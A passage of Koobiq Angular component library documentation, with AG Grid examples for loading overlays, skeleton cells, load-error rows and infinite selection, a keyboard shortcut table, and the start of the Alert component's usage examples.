            gap: var(--kbq-size-xl);
        }

        ag-grid-angular {
            height: 300px;
            width: 100%;
        }
    `,
    providers: [kbqAgGridLoadingOverlayConfigProvider({ rows: 6, cols: 3, firstColWidth: '148px' })],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridLoadingOverlayExample {
    protected readonly loading = model(true);
    protected readonly datasource = signal<IDatasource | undefined>(undefined);

    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Text' },
        { field: 'column1', headerName: 'Text' },
        { field: 'column2', headerName: 'Text' },
        { field: 'column3', headerName: 'Text' },
        { field: 'column4', headerName: 'Text' },
        { field: 'column5', headerName: 'Text' }
    ];

    protected readonly defaultColDef: ColDef = {
        cellRendererSelector: ({ data }: ICellRendererParams) =>
            data === undefined ? { component: KbqAgGridSkeletonCellRenderer } : undefined
    };

    protected onLoadingChange(loading: boolean): void {
        if (loading || this.datasource()) {
            return;
        }

        this.datasource.set({
            getRows: ({ startRow, endRow, successCallback }: IGetRowsParams) => {
                setTimeout(() => successCallback(ROW_DATA.slice(startRow, endRow), ROW_DATA.length), 1500);
            }
        });
    }
}
```

### Skeleton cell renderer

`KbqAgGridSkeletonCellRenderer` shows a skeleton in cells of rows the infinite row model (`rowModelType="infinite"`) has not loaded yet. The selection column has its own skeleton: while there is no data, the checkbox is unavailable.

**Example: AG Grid with skeleton cell renderer** (`ag-grid-skeleton-cell-renderer`)

```ts ag-grid-skeleton-cell-renderer-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAgGridSkeletonCellRenderer, KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    ICellRendererParams,
    IDatasource,
    IGetRowsParams,
    ModuleRegistry
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const getRandomInt = (min: number, max: number): number => {
    return Math.floor(Math.random() * (max - min + 1)) + min;
};

const ROW_DATA = Array.from({ length: 1000 }, (_, index) => ({
    column0: 'Text ' + index,
    column1: 'Text ' + index,
    column2: 'Text ' + index,
    column3: 'Text ' + index,
    column4: 'Text ' + index,
    column5: 'Text ' + index
}));

@Component({
    selector: 'ag-grid-skeleton-cell-renderer-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            rowModelType="infinite"
            [alwaysMultiSort]="true"
            [columnDefs]="columnDefs"
            [datasource]="datasource"
            [defaultColDef]="defaultColDef"
            [cacheBlockSize]="7"
            [cacheOverflowSize]="7"
            [maxBlocksInCache]="7"
            [infiniteInitialRowCount]="7"
        />
    `,
    styles: `
        ag-grid-angular {
            height: 300px;
            max-width: 100%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridSkeletonCellRendererExample {
    readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Text' },
        { field: 'column1', headerName: 'Text' },
        { field: 'column2', headerName: 'Text' },
        { field: 'column3', headerName: 'Text' },
        { field: 'column4', headerName: 'Text' },
        { field: 'column5', headerName: 'Text' }
    ];
    readonly datasource: IDatasource = {
        rowCount: ROW_DATA.length,
        getRows: ({ startRow, endRow, successCallback }: IGetRowsParams) => {
            setTimeout(
                () => successCallback(ROW_DATA.slice(startRow, endRow), ROW_DATA.length),
                getRandomInt(500, 2000)
            );
        }
    };
    readonly defaultColDef: ColDef = {
        cellRendererSelector: ({ data }: ICellRendererParams) =>
            data === undefined ? { component: KbqAgGridSkeletonCellRenderer } : undefined
    };
}
```

### Load error

On the initial load, the grid immediately requests the first and the second portions of data, and while scrolling it stays one step ahead of the user.

If a portion fails to load, the `kbqAgGridLoadError` directive shows an error message with a retry link on the last row:

- the message scrolls vertically together with the rows;
- during horizontal scrolling, the message stays in the visible area of the grid;
- the message takes up the whole visible area of the grid, even with pinned columns;
- if row dividers appear or the row height changes, the message adapts to the overall styling.

To see these cases in the example, switch the options under the grid.

**Example: AG Grid with a load error row** (`ag-grid-load-error`)

```ts ag-grid-load-error-example.ts
import { ChangeDetectionStrategy, Component, computed, inject, model, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import {
    KBQ_AG_GRID_LOAD_ERROR_LABELS_EN,
    KBQ_AG_GRID_LOAD_ERROR_LABELS_RU,
    KbqAgGridLoadError,
    KbqAgGridSkeletonCellRenderer,
    KbqAgGridSkeletonSelectionCellComponent,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { KbqLocaleService } from '@koobiq/components/core';
import { KbqToggleModule } from '@koobiq/components/toggle';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    GridApi,
    ICellRendererParams,
    IDatasource,
    IGetRowsParams,
    ModuleRegistry,
    RowSelectionOptions,
    RowStyle,
    SelectionColumnDef
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const PAGE_SIZE = 20;
const PINNED_LEFT = ['ag-Grid-SelectionColumn', 'column0'];
const PINNED_RIGHT = ['column4'];

const ROW_DATA = Array.from({ length: 1000 }, (_, index) => ({
    column0: 'Text ' + index,
    column1: 'Text ' + index,
    column2: 'Text ' + index,
    column3: 'Text ' + index,
    column4: 'Text ' + index
}));

@Component({
    selector: 'ag-grid-load-error-example',
    imports: [AgGridModule, KbqAgGridThemeModule, KbqToggleModule, FormsModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridLoadError
            rowModelType="infinite"
            [kbqAgGridLoadErrorLabels]="labels()"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [datasource]="datasource"
            [rowSelection]="rowSelection"
            [selectionColumnDef]="selectionColumnDef"
            [rowStyle]="rowStyle()"
            [cacheBlockSize]="pageSize"
            [rowBuffer]="pageSize"
            [infiniteInitialRowCount]="7"
            (gridReady)="api = $event.api"
        />

        <div class="layout-row layout-gap-xl">
            <kbq-toggle [(ngModel)]="pinnedColumns" (ngModelChange)="applyPinned()">Pinned columns</kbq-toggle>
            <kbq-toggle [(ngModel)]="rowDividers">Row dividers</kbq-toggle>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-l);
        }

        ag-grid-angular {
            height: 300px;
            width: 100%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridLoadErrorExample {
    protected readonly pinnedColumns = model(true);
    protected readonly rowDividers = model(false);

    private readonly loadError = viewChild.required(KbqAgGridLoadError);
    private readonly localeService = inject(KbqLocaleService);
    private readonly pageCache = new Map<number, (typeof ROW_DATA)[number][]>();

    private requestCount = 0;

    protected api?: GridApi;
    protected readonly pageSize = PAGE_SIZE;

    protected readonly labels = computed(() =>
        this.localeService.localeId() === 'ru-RU' ? KBQ_AG_GRID_LOAD_ERROR_LABELS_RU : KBQ_AG_GRID_LOAD_ERROR_LABELS_EN
    );

    protected readonly rowStyle = computed<RowStyle>(() =>
        this.rowDividers()
            ? {
                  borderBottom: 'var(--kbq-size-border-width) solid var(--kbq-line-contrast-less)',
                  borderRadius: '0'
              }
            : { borderBottom: '', borderRadius: '' }
    );

    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Text', width: 130, pinned: 'left' },
        { field: 'column1', headerName: 'Text', width: 130 },
        { field: 'column2', headerName: 'Text', width: 130 },
        { field: 'column3', headerName: 'Text', width: 130 },
        { field: 'column4', headerName: 'Text', width: 130, pinned: 'right' }
    ];

    protected readonly defaultColDef: ColDef = {
        cellRendererSelector: ({ data }: ICellRendererParams) =>
            data === undefined ? { component: KbqAgGridSkeletonCellRenderer } : undefined
    };

    protected readonly selectionColumnDef: SelectionColumnDef = {
        pinned: 'left',
        cellRendererSelector: ({ data }: ICellRendererParams) =>
            data === undefined ? { component: KbqAgGridSkeletonSelectionCellComponent } : undefined
    };

    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        checkboxes: true,
        headerCheckbox: false,
        isRowSelectable: ({ data }) => data !== undefined
    };

    protected readonly datasource: IDatasource = {
        getRows: (params: IGetRowsParams) => this.getRows(params)
    };

    protected applyPinned(): void {
        const pinned = this.pinnedColumns();

        this.api?.setColumnsPinned(PINNED_LEFT, pinned ? 'left' : null);
        this.api?.setColumnsPinned(PINNED_RIGHT, pinned ? 'right' : null);
    }

    private getRows({ startRow, endRow, successCallback, failCallback }: IGetRowsParams): void {
        const lastRow = endRow >= ROW_DATA.length ? ROW_DATA.length : -1;
        const cached = this.pageCache.get(startRow);

        if (cached) {
            successCallback(cached, lastRow);

            return;
        }

        const shouldFail = ++this.requestCount % 2 === 0;

        setTimeout(() => {
            if (shouldFail) {
                failCallback();
                this.loadError().fail(startRow);

                return;
            }

            const rows = ROW_DATA.slice(startRow, endRow);

            this.pageCache.set(startRow, rows);
            successCallback(rows, lastRow);
        }, 700);
    }
}
```

If the grid has no skeletons, a text loading indicator can be shown while data is loading. It spans the whole row width, so the selection column does not shift its label.

**Example: AG Grid with a text loading indicator** (`ag-grid-load-text`)

```ts ag-grid-load-text-example.ts
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { KbqAgGridThemeModule } from '@koobiq/ag-grid-angular-theme';
import { KbqLocaleService } from '@koobiq/components/core';
import { AgGridModule, ICellRendererAngularComp } from 'ag-grid-angular';
import {
    AllCommunityModule,
    IDatasource,
    IGetRowsParams,
    IsFullWidthRowParams,
    ModuleRegistry,
    RowSelectionOptions
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const ROW_DATA = Array.from({ length: 1000 }, (_, index) => ({
    column0: 'Text ' + index,
    column1: 'Text ' + index,
    column2: 'Text ' + index
}));

@Component({
    selector: 'ag-grid-load-text-example-loading-text',
    template: `
        {{ label() }}
    `,
    styles: `
        :host {
            display: flex;
            align-items: center;
            height: 100%;
            padding-left: calc(var(--ag-cell-horizontal-padding) + 1px);
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridLoadTextExampleLoadingText implements ICellRendererAngularComp {
    private readonly localeService = inject(KbqLocaleService);

    protected readonly label = computed(() =>
        this.localeService.localeId() === 'ru-RU' ? 'Загрузка...' : 'Loading...'
    );

    agInit(): void {}

    refresh(): boolean {
        return true;
    }
}

@Component({
    selector: 'ag-grid-load-text-example',
    imports: [AgGridModule, KbqAgGridThemeModule],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            rowModelType="infinite"
            [columnDefs]="columnDefs"
            [datasource]="datasource"
            [rowSelection]="rowSelection"
            [isFullWidthRow]="isFullWidthRow"
            [fullWidthCellRenderer]="loadingTextRenderer"
            [cacheBlockSize]="20"
            [infiniteInitialRowCount]="7"
        />
    `,
    styles: `
        ag-grid-angular {
            height: 300px;
            width: 100%;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridLoadTextExample {
    protected readonly loadingTextRenderer = AgGridLoadTextExampleLoadingText;

    protected readonly columnDefs = [
        { field: 'column0', headerName: 'Text' },
        { field: 'column1', headerName: 'Text' },
        { field: 'column2', headerName: 'Text' }
    ];

    protected readonly rowSelection: RowSelectionOptions = { mode: 'multiRow', headerCheckbox: false };

    protected readonly datasource: IDatasource = {
        getRows: ({ startRow, endRow, successCallback }: IGetRowsParams) => {
            setTimeout(
                () =>
                    successCallback(ROW_DATA.slice(startRow, endRow), endRow >= ROW_DATA.length ? ROW_DATA.length : -1),
                1000
            );
        }
    };

    protected readonly isFullWidthRow = ({ rowNode }: IsFullWidthRowParams): boolean => rowNode.data === undefined;
}
```

### Row selection with infinite scrolling

With infinite scrolling, data is loaded in blocks, so it is not possible to select all rows using a regular list — most of them are not yet loaded. The `kbqAgGridInfiniteSelection` directive inverts the selection: instead of a list of selected rows, it stores an "all selected" flag and a list of exceptions.

This state mirrors the condition "all except the specified IDs", so it can be passed to the server without loading all rows.

The directive requires two parameters:

- `kbqAgGridInfiniteSelectionDatasource` accepts a data source. When all rows are selected, newly loaded blocks are automatically added to the selection.
- `getRowId` returns a stable unique row identifier.

**Example: AG Grid with infinite selection** (`ag-grid-infinite-selection`)

```ts ag-grid-infinite-selection-example.ts
import { JsonPipe } from '@angular/common';
import { ChangeDetectionStrategy, Component, computed, signal, viewChild } from '@angular/core';
import {
    KbqAgGridInfiniteSelection,
    KbqAgGridInfiniteSelectionState,
    KbqAgGridSkeletonCellRenderer,
    KbqAgGridThemeModule
} from '@koobiq/ag-grid-angular-theme';
import { AgGridModule } from 'ag-grid-angular';
import {
    AllCommunityModule,
    ColDef,
    GetRowIdFunc,
    ICellRendererParams,
    IDatasource,
    IGetRowsParams,
    ModuleRegistry,
    RowSelectionOptions,
    SelectionChangedEvent,
    SelectionColumnDef
} from 'ag-grid-community';

ModuleRegistry.registerModules([AllCommunityModule]);

const ROW_DATA = Array.from({ length: 1000 }, (_, index) => ({
    id: 'ProjectName' + index,
    column0: 'ProjectName ' + index,
    column1: 'Text ' + index,
    column2: 'Text ' + index,
    column3: 'Text ' + index,
    column4: 'Text ' + index,
    column5: 'Text ' + index
}));

/**
 * Shape actually worth sending to a backend. `KbqAgGridInfiniteSelectionState.excludedIds` is only
 * meaningful while `selectAll` is `true` — outside select-all mode, the directive leaves individual
 * row selection entirely to AG Grid's own API, so `includedIds` has to be read from there instead.
 * Both fields are always present so the inapplicable one reads as an explicit `null`, not a missing key.
 */
type SelectionDto = {
    selectAll: boolean;
    includedIds: readonly string[] | null;
    excludedIds: readonly string[] | null;
};

@Component({
    selector: 'ag-grid-infinite-selection-example',
    imports: [AgGridModule, KbqAgGridThemeModule, JsonPipe],
    template: `
        <ag-grid-angular
            kbqAgGridTheme
            kbqAgGridThemeDisableCellFocusStyles
            kbqAgGridInfiniteSelection
            kbqAgGridSelectRowsByShiftClick
            kbqAgGridToNextRowByTab
            kbqAgGridSelectRowsByShiftArrow
            kbqAgGridSelectRowsByCtrlClick
            [alwaysMultiSort]="true"
            [columnDefs]="columnDefs"
            [defaultColDef]="defaultColDef"
            [rowSelection]="rowSelection"
            [selectionColumnDef]="selectionColumnDef"
            [kbqAgGridInfiniteSelectionDatasource]="datasource"
            [getRowId]="getRowId"
            [cacheBlockSize]="10"
            (kbqAgGridInfiniteSelectionStateChange)="onSelectAllChange($event)"
            (selectionChanged)="onSelectionChanged($event)"
        />
        <div class="ag-grid-infinite-selection-example-dto">
            <span>DTO sent to the backend:</span>
            <pre><code>{{ selectionDto() | json }}</code></pre>
        </div>
    `,
    styles: `
        :host {
            display: flex;
            gap: var(--kbq-size-xl);
        }

        ag-grid-angular {
            flex-grow: 1;
            height: 300px;
        }

        .ag-grid-infinite-selection-example-dto {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-s);
            width: 180px;
            font-size: var(--kbq-typography-text-compact-font-size);
            color: var(--kbq-foreground-contrast-secondary);
        }

        pre {
            margin: 0;
            max-height: 300px;
            overflow: scroll;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AgGridInfiniteSelectionExample {
    protected readonly columnDefs: ColDef[] = [
        { field: 'column0', headerName: 'Project name', pinned: 'left', width: 130 },
        { field: 'column1', headerName: 'Text', width: 130 },
        { field: 'column2', headerName: 'Text', width: 130 },
        { field: 'column3', headerName: 'Text', width: 130 },
        { field: 'column4', headerName: 'Text', width: 130 },
        { field: 'column5', headerName: 'Text', width: 130 }
    ];
    protected readonly datasource: IDatasource = {
        rowCount: ROW_DATA.length,
        getRows: ({ startRow, endRow, successCallback }: IGetRowsParams) => {
            setTimeout(() => successCallback(ROW_DATA.slice(startRow, endRow), ROW_DATA.length), 500);
        }
    };
    protected readonly getRowId: GetRowIdFunc = ({ data }) => data.id;
    protected readonly defaultColDef: ColDef = {
        cellRendererSelector: ({ data }: ICellRendererParams) =>
            data === undefined ? { component: KbqAgGridSkeletonCellRenderer } : undefined
    };
    protected readonly rowSelection: RowSelectionOptions = {
        mode: 'multiRow',
        isRowSelectable: ({ data }) => data !== undefined
    };
    protected readonly selectionColumnDef: SelectionColumnDef = {
        pinned: 'left'
    };
    private readonly infiniteSelection = viewChild.required(KbqAgGridInfiniteSelection);
    private readonly includedIds = signal<readonly string[]>([]);

    /**
     * The DTO this example would send to the backend for the current selection — combines the
     * directive's own `selectAll`/`excludedIds` state with `includedIds` tracked separately via
     * AG Grid's native selection, since the directive only maintains `excludedIds` while
     * `selectAll` is `true` (see `SelectionDto`).
     */
    protected readonly selectionDto = computed<SelectionDto>(() => {
        const state = this.infiniteSelection().state();

        return {
            selectAll: state.selectAll,
            includedIds: state.selectAll ? null : this.includedIds(),
            excludedIds: state.selectAll ? state.excludedIds : null
        };
    });

    protected onSelectAllChange(state: KbqAgGridInfiniteSelectionState): void {
        console.debug('onSelectAllChange: ', state);
    }

    /** Tracks individually selected row ids — only meaningful while `selectAll` is `false`. */
    protected onSelectionChanged({ api }: SelectionChangedEvent): void {
        this.includedIds.set(
            api
                .getSelectedNodes()
                .map((node) => node.id)
                .filter((id) => id !== undefined)
        );
    }
}
```

### Custom keyboard shortcuts

You can add custom keyboard shortcuts by adding the appropriate directives to your `<ag-grid-angular>` component.

| Key           | Action                 | Directive                         |
| ------------- | ---------------------- | --------------------------------- |
| Tab           | Move to next row       | `kbqAgGridToNextRowByTab`         |
| Shift + ↓↑    | Select multiple rows   | `kbqAgGridSelectRowsByShiftArrow` |
| Ctrl + click  | Select a row           | `kbqAgGridSelectRowsByCtrlClick`  |
| Ctrl + C      | Copy selected rows     | `kbqAgGridCopyByCtrlC`            |
| Shift + click | Select a range of rows | `kbqAgGridSelectRowsByShiftClick` |
| Ctrl + A      | Select all rows        | `kbqAgGridInfiniteSelection`      |

More information about keyboard shortcuts can be found in the [ag-grid-angular documentation](https://www.ag-grid.com/angular-data-grid/keyboard-navigation/).

### Recommendations

- Use the [Table](https://koobiq.io/en/components/table.md) component for simple tables with a small amount of data that do not require resizing or reordering of columns.
- If the list contains only one column, use [List](https://koobiq.io/en/components/list.md) or [Tree](https://koobiq.io/en/components/tree.md).

## Alert

- Entry point: `@koobiq/components/alert`
- NgModule: `KbqAlertModule`
- Page: https://koobiq.io/en/components/alert/overview

### Overview

Shows important information on a page. Can contain a hint, signal a status change, or indicate a problem.

#### Size

Alerts come in two sizes. The normal size is the default; pass `[compact]="true"` for the denser compact size used in tight spaces such as popovers and forms.

**Example: Alert size** (`alert-overview`)

```ts alert-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAlert, KbqAlertControl, KbqAlertTitle } from '@koobiq/components/alert';
import { KbqButton, KbqButtonCssStyler } from '@koobiq/components/button';
import { KbqIcon, KbqIconItem } from '@koobiq/components/icon';

@Component({
    selector: 'alert-overview-example',
    imports: [
        KbqAlert,
        KbqAlertTitle,
        KbqAlertControl,
        KbqButton,
        KbqButtonCssStyler,
        KbqIcon,
        KbqIconItem
    ],
    templateUrl: 'alert-overview-example.html',
    styleUrls: ['alert-overview-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AlertOverviewExample {
    text =
        'If there is no heading, do not put a period at the end of the last sentence. If the message contains both body text and a heading, put a period at the end of the body text.';
}
```

```html alert-overview-example.html
<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
            <div kbq-alert-title>Heading</div>
            {{ text }}
            <button kbq-alert-control kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Action</button>
            <button kbq-alert-control kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Another action</button>
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            <div kbq-alert-title>Heading</div>
            {{ text }}
            <button kbq-alert-control kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Action</button>
            <button kbq-alert-control kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Another action</button>
        </kbq-alert>
    </div>
</div>
```

```css alert-overview-example.css
.example-column {
    width: 50%;
}

:host ::ng-deep .kbq-alert__button-stack {
    display: flex;
    flex-wrap: wrap;
    column-gap: 12px;
}

@media (1200px < width <= 1440px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}

@media (width <= 1024px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}
```

#### Variant

By default, alerts are styled conservatively and stand out only by the icon color. If the block gets lost on screen, you can draw attention to it using the colored background variant.

**Example: Alert variants** (`alert-variants`)

```ts alert-variants-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAlert, KbqAlertColors, KbqAlertStyles, KbqAlertTitle } from '@koobiq/components/alert';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon, KbqIconItem } from '@koobiq/components/icon';

@Component({
    selector: 'alert-variants-example',
    imports: [
        KbqAlert,
        KbqAlertTitle,
        KbqIcon,
        KbqIconItem
    ],
    template: `
        <div class="layout-row example-row layout-gap-l flex-100">
            <div class="layout-column example-column">
                <kbq-alert [alertColor]="alertColors.Error">
                    <i aria-hidden="true" kbq-icon-item="kbq-triangle-exclamation_16" [color]="colors.Error"></i>
                    <div kbq-alert-title>Default</div>
                    {{ text }}
                </kbq-alert>
            </div>
            <div class="layout-column example-column">
                <kbq-alert [alertColor]="alertColors.Error" [alertStyle]="alertStyles.Colored" [compact]="true">
                    <i aria-hidden="true" kbq-icon="kbq-triangle-exclamation_16" [color]="colors.Error"></i>
                    <div kbq-alert-title>Colored</div>
                    {{ text }}
                </kbq-alert>
            </div>
        </div>
    `,
    styleUrls: ['alert-variants-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AlertVariantsExample {
    colors = KbqComponentColors;
    alertStyles = KbqAlertStyles;
    alertColors = KbqAlertColors;
    text =
        'If there is no heading, do not put a period at the end of the last sentence. If the message contains both body text and a heading, put a period at the end of the body text.';
}
```

```css alert-variants-example.css
.example-column {
    width: 50%;
}

@media (1200px < width <= 1440px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}

@media (width <= 1024px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}
```

#### Status

The `alertColor` input sets the status: `error`, `warning`, `success` or `info` (the default). It drives the background in the colored variant and auto-tints a projected status icon that has no explicit `[color]`: the icon is tinted to the matching status color, except `info`, which is tinted to `contrast`. Set `[color]` on the icon yourself to opt out of the auto-tint.

Project a single status icon. The slot renders every `[kbq-icon]` and `[kbq-icon-item]` it receives but auto-tints only one of them — a `kbq-icon` wins over a `kbq-icon-item` — so any further icon keeps whatever color it was given. Projecting one of each also logs a warning in dev mode.

**Example: Alert status** (`alert-status`)

```ts alert-status-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAlert, KbqAlertColors, KbqAlertStyles, KbqAlertTitle } from '@koobiq/components/alert';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'alert-status-example',
    imports: [
        KbqAlert,
        KbqAlertTitle,
        KbqIcon
    ],
    templateUrl: 'alert-status-example.html',
    styleUrls: ['alert-status-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AlertStatusExample {
    colors = KbqComponentColors;
    alertStyles = KbqAlertStyles;
    alertColors = KbqAlertColors;
    text =
        'If there is no heading, do not put a period at the end of the last sentence. If the message contains both body text and a heading, put a period at the end of the body text.';
}
```

```html alert-status-example.html
<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column layout-gap-l">
        <kbq-alert [alertColor]="alertColors.Info" [alertStyle]="alertStyles.Colored" [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16" [color]="colors.Contrast"></i>
            <!-- The severity is named in the title, so it does not rely on the icon color alone. -->
            <div kbq-alert-title>Information</div>
            {{ text }}
        </kbq-alert>

        <kbq-alert [alertColor]="alertColors.Warning" [alertStyle]="alertStyles.Colored" [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-triangle-exclamation_16" [color]="colors.Warning"></i>
            <div kbq-alert-title>Warning</div>
            {{ text }}
        </kbq-alert>
    </div>
    <div class="layout-column example-column layout-gap-l">
        <kbq-alert [alertColor]="alertColors.Error" [alertStyle]="alertStyles.Colored" [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-triangle-exclamation_16" [color]="colors.Error"></i>
            <div kbq-alert-title>Error</div>
            {{ text }}
        </kbq-alert>

        <kbq-alert [alertColor]="alertColors.Success" [alertStyle]="alertStyles.Colored" [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-check_16" [color]="colors.Success"></i>
            <div kbq-alert-title>Success</div>
            {{ text }}
        </kbq-alert>
    </div>
</div>
```

```css alert-status-example.css
.example-column {
    width: 50%;
}

@media (1200px < width <= 1440px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}

@media (width <= 1024px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}
```

#### Hide

The block can be hidden by clicking the icon button in the corner of the alert. The alert does not hide itself — listen to the `(closed)` output (emitted when the close control is activated) and remove or hide the alert in your own code. If the system reports a problem, the alert is displayed permanently and the user cannot close it.

**Example: Alert close** (`alert-close`)

```ts alert-close-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAlert, KbqAlertCloseButton } from '@koobiq/components/alert';
import { kbqAnimationsDisabled, KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon, KbqIconButton } from '@koobiq/components/icon';

@Component({
    selector: 'alert-close-example',
    imports: [
        KbqAlert,
        KbqAlertCloseButton,
        KbqIcon,
        KbqIconButton
    ],
    template: `
        @if (state) {
            <kbq-alert
                animate.leave="example-alert_leave"
                class="flex-100"
                [class.kbq-animations-disabled]="animationsDisabled"
                [compact]="true"
                (closed)="state = false"
            >
                <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
                The alert is dismissed with the close icon in the corner; do not duplicate this with a button below the
                message text
                <button
                    kbq-alert-close-button
                    kbq-icon-button="kbq-xmark-s_16"
                    aria-label="Close"
                    [color]="colors.ContrastFade"
                ></button>
            </kbq-alert>
        }
    `,
    styles: `
        .example-alert_leave {
            animation: example-alert-fade-out 0.2s forwards;
        }

        .example-alert_leave.kbq-animations-disabled {
            animation: none;
        }

        @media (prefers-reduced-motion: reduce) {
            .example-alert_leave {
                animation: none;
            }
        }

        @keyframes example-alert-fade-out {
            to {
                opacity: 0;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AlertCloseExample {
    protected readonly animationsDisabled = kbqAnimationsDisabled();
    colors = KbqComponentColors;
    state = true;
}
```

#### Content

The alert can contain links and buttons; the icon and heading can be omitted. In a lengthy notification, the text can be split into paragraphs.

**Example: Alert content** (`alert-content`)

```ts alert-content-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAlert, KbqAlertCloseButton, KbqAlertControl, KbqAlertTitle } from '@koobiq/components/alert';
import { KbqButton, KbqButtonCssStyler } from '@koobiq/components/button';
import { kbqAnimationsDisabled, KbqComponentColors } from '@koobiq/components/core';
import { KbqIcon, KbqIconButton, KbqIconItem } from '@koobiq/components/icon';
import { KbqLink, KbqLinkSuffix } from '@koobiq/components/link';

@Component({
    selector: 'alert-content-example',
    imports: [
        KbqAlert,
        KbqAlertTitle,
        KbqAlertControl,
        KbqAlertCloseButton,
        KbqButton,
        KbqButtonCssStyler,
        KbqLink,
        KbqLinkSuffix,
        KbqIcon,
        KbqIconItem,
        KbqIconButton
    ],
    templateUrl: 'alert-content-example.html',
    styleUrls: ['alert-content-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AlertContentExample {
    protected readonly animationsDisabled = kbqAnimationsDisabled();
    colors = KbqComponentColors;
    firstState = true;
    secondState = true;
}
```

```html alert-content-example.html
<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
            <div kbq-alert-title>Failed to upload the file</div>
            When a hyperlink is at the end of a sentence, the period takes the link color,
            <a href="https://koobiq.io/en/components/link" kbqLink>
                but is not underlined
                <span kbqLinkSuffix>.</span>
            </a>
            <button kbq-alert-control kbq-button class="example-overview__button" [color]="colors.Contrast">
                Choose another file
            </button>
            <button kbq-alert-control kbq-button [color]="colors.Theme" [kbqStyle]="'transparent'">Replace</button>
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            <div kbq-alert-title>Failed to upload the file</div>
            When a hyperlink is at the end of a sentence, the period takes the link color,
            <a href="https://koobiq.io/en/components/link" kbqLink>
                but is not underlined
                <span kbqLinkSuffix>.</span>
            </a>
            <button kbq-alert-control kbq-button class="example-overview__button" [color]="colors.Contrast">
                Choose another file
            </button>
            <button kbq-alert-control kbq-button [color]="colors.Theme" [kbqStyle]="'transparent'">Replace</button>
        </kbq-alert>
    </div>
</div>

<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
            Failed to update the agent
